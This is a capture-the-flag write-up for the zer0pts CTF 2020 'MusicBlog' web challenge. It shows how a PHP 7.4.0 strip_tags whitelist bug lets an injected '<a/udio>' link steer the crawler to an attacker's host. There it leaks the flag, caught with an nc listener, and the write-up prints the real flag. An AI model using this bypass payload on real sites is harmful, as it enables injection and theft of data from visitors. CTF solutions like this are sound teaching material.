# [zer0pts CTF 2020] MusicBlog
###### tags: `zer0pts CTF`, `zer0pts CTF 2020`, `web`
## Solution
We're given source codes for database, app, and crawler. The location of flag can easily be found in `worker/worker.js`.
```javascript=
// (snipped)
const flag = 'zer0pts{<censored>}';
// (snipped)
const crawl = async (url) => {
console.log(`[+] Query! (${url})`);
const page = await browser.newPage();
try {
await page.setUserAgent(flag);
await page.goto(url, {
waitUntil: 'networkidle0',
timeout: 10 * 1000,
});
await page.click('#like');
} catch (err){
console.log(err);
}
await page.close();
console.log(`[+] Done! (${url})`)
};
// (snipped)
```
The flag is in `User-Agent` header. This means that you can get the flag if the crawler accesses websites you own. But how?
Hack the URL where the crawler accesses? As you can see from `new_post.php`, you can't.
```php=37
if ($publish) {
try {
$redis = new Redis();
$redis->connect("redis", 6379);
$redis->rPush("query", $id);
} catch (Exception $e) {
print($e);
exit(0);
}
}
```
XSS? As you can see from `post.php`, it seems that you can't use HTML tags other than `<audio>`.
```php=73
// post.php
<div class="mt-3">
<?= render_tags($post['content']) ?>
</div>
```
```php=1
// util.php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
$str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
$str = strip_tags($str, '<audio>'); // only allows `<audio>`
return $str;
}
```
But you can. As you can see from `Dockerfile` in `web`, the web server uses PHP 7.4.0. The latest version of PHP is now PHP 7.4.3, so it seems a bit old. Let's read [changelog of 7.4.0 → 7.4.1](https://www.php.net/ChangeLog-7.php#7.4.1).
> - Standard:
> - Fixed bug #78814 (strip_tags allows / in tag name => whitelist bypass).
This app uses `strip_tags` for remove tags other than `<audio>`. Let's dig the [bug](https://bugs.php.net/bug.php?id=78814).
> **Bug #78814 strip_tags allows / in tag name, allowing whitelist bypass in browsers**
>
> When strip_tags is used with a whitelist of tags, php allows slashes ("/") that occur inside the name of a whitelisted tag and copies them to the result.
>
> For example, if <strong> is whitelisted, then a tag <s/trong> is also kept.
This means that in the app's case, `strip_tags` allows `<a/udio>`, which is interpreted as `<a>`.
So, with a payload like `[["></audio><a/udio href="(URL)" id="like">test</a/udio><audio a="]]`, you can bring the crawler to any URL.
```
$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from ec2-3-112-201-75.ap-northeast-1.compute.amazonaws.com 33926 received!
GET / HTTP/1.1
︙
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: zer0pts{M4sh1m4fr3sh!!}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
︙
Accept-Encoding: gzip, deflate
Accept-Language: en-US
```